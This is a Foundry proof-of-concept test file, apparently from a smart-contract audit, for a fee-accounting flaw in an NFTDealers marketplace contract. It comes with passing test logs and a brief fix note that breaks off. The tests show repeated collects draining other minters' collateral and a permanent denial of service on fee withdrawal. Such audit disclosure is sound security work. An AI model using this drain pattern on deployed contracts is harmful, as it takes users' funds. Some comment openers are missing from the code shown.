pragma solidity 0.8.34;
import {Test, console2} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
* @title PoC_M1_FeeAccountingCorruption
* @notice Proof of Concept: M-1 -- collectUsdcFromSelling contains a
* self-transfer (safeTransfer(address(this), fees)) that is always a
* balance no-op, while totalFeesCollected is incremented as if real
* funds were moved. This produces two observable failure modes.
*
* ROOT CAUSE:
* NFTDealers.sol:179 totalFeesCollected += fees;
* NFTDealers.sol:181 usdc.safeTransfer(address(this), fees);
*
* The intent is to move the fee portion into a "protocol fee bucket".
* But address(this) == msg.sender's counterparty is the contract itself;
* transferring to yourself leaves every balance unchanged. USDC's ERC20
* implementation allows self-transfers and emits a Transfer event, so the
* call succeeds silently while accomplishing nothing.
*
* Because fees are never actually set aside, totalFeesCollected diverges
* from real protocol USDC in two compound scenarios:
*
* A) Post-cancel collect (H-1 Path B, no buyer): the fee is calculated on
* listing.price that no buyer ever paid. totalFeesCollected records fee
* "revenue" from a phantom sale; the USDC comes from victim collateral.
*
* B) Repeated collect (H-1 Path A): each repeat call increments
* totalFeesCollected by fees but drains amountToSeller from real funds.
* After enough repetitions totalFeesCollected > contract balance, making
* withdrawFees() revert permanently.
*
* THREE TESTS:
*
* testM1_SelfTransferIsNoOp
* Proves the safeTransfer(this, fees) line has zero effect on any balance.
* The fee USDC is retained in the contract only as an accounting residual,
* not through any real movement; the seller payout is reduced by fees, and
* the same amount sits in the contract as a leftover.
*
* testM1_PhantomFeeRevenue
* Post-cancel collect (no buyer) causes totalFeesCollected to record fee
* revenue from a sale that never occurred. The owner's withdrawFees()
* succeeds but extracts victim minting collateral, not real protocol fees.
*
* testM1_WithdrawFees_PermanentDoS
* H-1 Path A: repeated collect calls inflate totalFeesCollected to 20 USDC
* while draining the contract to 0. withdrawFees() then reverts permanently
* because totalFeesCollected (20) exceeds the contract balance (0).
*
* NOTE ON VICTIM COUNT:
* 50 victims (50 x 20 = 1000 USDC) fund the contract sufficiently for
* testM1_PhantomFeeRevenue (needs 990 USDC for one post-cancel collect).
* The same pool plus one legitimate buyer funds testM1_WithdrawFees_PermanentDoS
* (needs 2 x 1010 = 2020 USDC for two post-sale collects).
*/
contract PoC_M1_FeeAccountingCorruption is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
string internal constant BASE_IMAGE =
"https://images.unsplash.com/photo-1541781774459-bb2af2f05b55";
address public owner = makeAddr("owner");
address public seller = makeAddr("seller");
address public buyer = makeAddr("buyer");
uint256 public constant LOCK_AMOUNT = 20e6;
uint32 public constant SALE_PRICE = 1000e6;
uint256 public constant FEES = (uint256(SALE_PRICE) * 100) / 10_000;
uint256 public constant TO_SELLER = uint256(SALE_PRICE) - FEES;
uint256 public constant NUM_VICTIMS = 50;
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(
owner, address(usdc), "NFTDealers", "NFTD", BASE_IMAGE, LOCK_AMOUNT
);
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(seller);
}
function _mintAs(address user) internal returns (uint256) {
vm.prank(owner);
nftDealers.whitelistWallet(user);
usdc.mint(user, LOCK_AMOUNT);
vm.startPrank(user);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
vm.stopPrank();
return nftDealers.totalMinted();
}
function _fundContractWithVictims() internal {
for (uint256 i = 0; i < NUM_VICTIMS; i++) {
address victim = address(uint160(0xDEAD0000 + i));
_mintAs(victim);
}
}
* @notice A legitimate sale + single collect.
* Before collect: contract = lockAmount + SALE_PRICE = 1020 USDC.
* After collect: contract = FEES = 10 USDC.
*
* The contract balance decreased by amountToSeller (1010 USDC),
* not by amountToSeller + fees (1020 USDC). This proves that the
* safeTransfer(address(this), FEES) had no effect on any balance:
* no USDC was moved anywhere by that line.
*
* The 10 USDC "fee" is retained in the contract only because the
* seller received (price - fees + collateral), leaving fees as an
* accidental residual -- not through any intentional accounting.
*/
function testM1_SelfTransferIsNoOp() public {
console2.log("=== M-1: SELF-TRANSFER IS A BALANCE NO-OP ===");
uint256 tokenId = _mintAs(seller);
vm.prank(seller);
nftDealers.list(tokenId, SALE_PRICE);
usdc.mint(buyer, uint256(SALE_PRICE));
vm.startPrank(buyer);
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
nftDealers.buy(tokenId);
vm.stopPrank();
uint256 contractBefore = usdc.balanceOf(address(nftDealers));
uint256 sellerBefore = usdc.balanceOf(seller);
console2.log("[0] Before collectUsdcFromSelling:");
console2.log(" Contract USDC :", contractBefore / 1e6, "USDC");
console2.log(" Expected fees :", FEES / 1e6, "USDC");
console2.log(" Expected payout :", (LOCK_AMOUNT + TO_SELLER) / 1e6, "USDC");
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 contractAfter = usdc.balanceOf(address(nftDealers));
uint256 sellerAfter = usdc.balanceOf(seller);
uint256 contractDelta = contractBefore - contractAfter;
uint256 sellerDelta = sellerAfter - sellerBefore;
console2.log("[1] After collectUsdcFromSelling:");
console2.log(" Contract USDC :", contractAfter / 1e6, "USDC (= FEES residual)");
console2.log(" Seller received :", sellerDelta / 1e6, "USDC");
console2.log(" Contract delta :", contractDelta / 1e6, "USDC");
console2.log(" totalFeesCollected:", nftDealers.totalFeesCollected() / 1e6, "USDC");
console2.log(" safeTransfer(this, FEES) had no balance effect.");
console2.log(" Fees are leftover residual, not intentionally set aside.");
assertEq(contractDelta, LOCK_AMOUNT + TO_SELLER,
"Contract decreased by amountToSeller only -- self-transfer was a no-op");
assertEq(contractAfter, FEES,
"Fee USDC is accidental residual, not the result of any real transfer");
assertEq(nftDealers.totalFeesCollected(), FEES,
"totalFeesCollected equals fee amount that stayed as residual");
assertEq(sellerDelta + contractAfter, contractBefore,
"Conservation: seller received + contract residual = contract before");
}
* @notice Seller mints, lists at SALE_PRICE, then cancels with no buyer.
* H-1 Path B allows collectUsdcFromSelling after cancel.
* totalFeesCollected records FEES (10 USDC) as protocol revenue.
* But no buyer ever paid SALE_PRICE -- the 10 USDC comes from
* innocent victim minting collateral.
*
* The owner's withdrawFees() succeeds, extracting 10 USDC from the
* victim pool under the false accounting label of "fee revenue".
*/
function testM1_PhantomFeeRevenue() public {
console2.log("\n=== M-1: PHANTOM FEE REVENUE (NO BUYER PAID) ===");
_fundContractWithVictims();
uint256 victimPool = usdc.balanceOf(address(nftDealers));
console2.log("[0] Victim pool :", victimPool / 1e6, "USDC");
console2.log(" No sale has occurred -- contract holds only minting collateral");
uint256 tokenId = _mintAs(seller);
vm.prank(seller);
nftDealers.list(tokenId, SALE_PRICE);
vm.prank(seller);
nftDealers.cancelListing(tokenId);
assertEq(nftDealers.collateralForMinting(tokenId), 0,
"Cancel zeroed collateral (H-2 side effect)");
uint256 contractBeforeCollect = usdc.balanceOf(address(nftDealers));
console2.log("[1] After cancel (no buyer ever paid):");
console2.log(" Contract USDC :", contractBeforeCollect / 1e6, "USDC (victim collateral only)");
console2.log(" totalFeesCollected :", nftDealers.totalFeesCollected() / 1e6, "USDC");
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 contractAfterCollect = usdc.balanceOf(address(nftDealers));
uint256 feesRecorded = nftDealers.totalFeesCollected();
console2.log("[2] After collectUsdcFromSelling (no buyer):");
console2.log(" totalFeesCollected :", feesRecorded / 1e6, "USDC (phantom revenue recorded)");
console2.log(" Seller received :", TO_SELLER / 1e6, "USDC (from victim collateral)");
console2.log(" Contract USDC :", contractAfterCollect / 1e6, "USDC (fee residual from victims)");
uint256 ownerBefore = usdc.balanceOf(owner);
vm.prank(owner);
nftDealers.withdrawFees();
uint256 ownerWithdrawn = usdc.balanceOf(owner) - ownerBefore;
console2.log("[3] Owner withdrawFees():");
console2.log(" Owner received :", ownerWithdrawn / 1e6, "USDC");
console2.log(" SOURCE: victim minting collateral, NOT buyer fee revenue");
console2.log(" No sale occurred. Protocol accounting shows 10 USDC fee income.");
console2.log(" The 10 USDC was taken from innocent minters.");
assertEq(feesRecorded, FEES,
"CRITICAL: fee revenue recorded for a sale that never occurred");
assertEq(ownerWithdrawn, FEES,
"Owner extracted victim collateral under the accounting label of fee revenue");
assertEq(usdc.balanceOf(address(nftDealers)), victimPool - TO_SELLER - FEES,
"Victim pool drained by phantom collect and false fee withdrawal");
}
* @notice H-1 Path A (post-sale repeated collect) inflates totalFeesCollected
* to 20 USDC while draining the contract to 0.
*
* 50 victims (1000 USDC) + seller mint (20 USDC) + buyer (1000 USDC)
* = 2020 USDC. Two collects of 1010 USDC each = 2020 USDC drained.
* Contract = 0 USDC. totalFeesCollected = 20 USDC.
* withdrawFees() attempts safeTransfer(owner, 20) and reverts.
*
* The revert is permanent: no future incoming USDC will lower
* totalFeesCollected, and no function zeroes it except withdrawFees
* itself (which requires the balance to be >= totalFeesCollected).
*/
function testM1_WithdrawFees_PermanentDoS() public {
console2.log("\n=== M-1: withdrawFees() PERMANENT DoS ===");
_fundContractWithVictims();
uint256 tokenId = _mintAs(seller);
vm.prank(seller);
nftDealers.list(tokenId, SALE_PRICE);
usdc.mint(buyer, uint256(SALE_PRICE));
vm.startPrank(buyer);
usdc.approve(address(nftDealers), uint256(SALE_PRICE));
nftDealers.buy(tokenId);
vm.stopPrank();
uint256 contractStart = usdc.balanceOf(address(nftDealers));
console2.log("[0] After sale -- contract USDC:", contractStart / 1e6, "USDC");
console2.log(" (50 victims x 20 + seller x 20 + buyer x 1000 = 2020 USDC)");
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
console2.log("[1] After collect #1 (legitimate):");
console2.log(" totalFeesCollected:", nftDealers.totalFeesCollected() / 1e6, "USDC");
console2.log(" Contract USDC :", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
vm.prank(seller);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 feesAccumulated = nftDealers.totalFeesCollected();
uint256 contractFinal = usdc.balanceOf(address(nftDealers));
console2.log("[2] After collect #2 (H-1 replay -- no state cleared):");
console2.log(" totalFeesCollected:", feesAccumulated / 1e6, "USDC");
console2.log(" Contract USDC :", contractFinal / 1e6, "USDC");
console2.log(" DIVERGENCE: totalFeesCollected > contract balance");
vm.prank(owner);
vm.expectRevert();
nftDealers.withdrawFees();
console2.log("[3] withdrawFees() REVERTED");
console2.log(" safeTransfer(owner, 20 USDC) fails: contract has 0 USDC");
console2.log(" totalFeesCollected cannot be zeroed. DoS is permanent.");
console2.log(" All future fee revenue is also unwithdrawable until contract");
console2.log(" receives >= totalFeesCollected USDC through normal operations.");
assertEq(contractFinal, 0,
"CRITICAL: contract holds 0 USDC after two collects on same listing");
assertEq(feesAccumulated, FEES * 2,
"CRITICAL: totalFeesCollected = 20 USDC but contract has 0 USDC");
assertGt(feesAccumulated, contractFinal,
"CRITICAL: totalFeesCollected > contract balance -- withdrawFees permanently reverts");
}
}
forge test --match-contract PoC_M1_FeeAccountingCorruption -vv
[⠑] Compiling...
[⠢] Compiling 1 files with Solc 0.8.34
[⠆] Solc 0.8.34 finished in 405.62ms
Compiler run successful!
Ran 3 tests for test/PoC_M1_FeeAccountingCorruption.t.sol:PoC_M1_FeeAccountingCorruption
[PASS] testM1_PhantomFeeRevenue() (gas: 6644897)
Logs:
=== M-1: PHANTOM FEE REVENUE (NO BUYER PAID) ===
[0] Victim pool : 1000 USDC
No sale has occurred -- contract holds only minting collateral
[1] After cancel (no buyer ever paid):
Contract USDC : 1000 USDC (victim collateral only)
totalFeesCollected : 0 USDC
[2] After collectUsdcFromSelling (no buyer):
totalFeesCollected : 10 USDC (phantom revenue recorded)
Seller received : 990 USDC (from victim collateral)
Contract USDC : 10 USDC (fee residual from victims)
[3] Owner withdrawFees():
Owner received : 10 USDC
SOURCE: victim minting collateral, NOT buyer fee revenue
No sale occurred. Protocol accounting shows 10 USDC fee income.
The 10 USDC was taken from innocent minters.
[PASS] testM1_SelfTransferIsNoOp() (gas: 394768)
Logs:
=== M-1: SELF-TRANSFER IS A BALANCE NO-OP ===
[0] Before collectUsdcFromSelling:
Contract USDC : 1020 USDC
Expected fees : 10 USDC
Expected payout : 1010 USDC
[1] After collectUsdcFromSelling:
Contract USDC : 10 USDC (= FEES residual)
Seller received : 1010 USDC
Contract delta : 1010 USDC
totalFeesCollected: 10 USDC
safeTransfer(this, FEES) had no balance effect.
Fees are leftover residual, not intentionally set aside.
[PASS] testM1_WithdrawFees_PermanentDoS() (gas: 6694532)
Logs:
=== M-1: withdrawFees() PERMANENT DoS ===
[0] After sale -- contract USDC: 2020 USDC
(50 victims x 20 + seller x 20 + buyer x 1000 = 2020 USDC)
[1] After collect #1 (legitimate):
totalFeesCollected: 10 USDC
Contract USDC : 1010 USDC
[2] After collect #2 (H-1 replay -- no state cleared):
totalFeesCollected: 20 USDC
Contract USDC : 0 USDC
DIVERGENCE: totalFeesCollected > contract balance
[3] withdrawFees() REVERTED
safeTransfer(owner, 20 USDC) fails: contract has 0 USDC
totalFeesCollected cannot be zeroed. DoS is permanent.
All future fee revenue is also unwithdrawable until contract
receives >= totalFeesCollected USDC through normal operations.
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 6.98ms (7.78ms CPU time)
Ran 1 test suite in 46.91ms (6.98ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
Remove the self-transfer entirely and apply CEI (zero state before transferring). The fee amount is already retained as a natural residual after the seller payout — no explicit transfer is needed: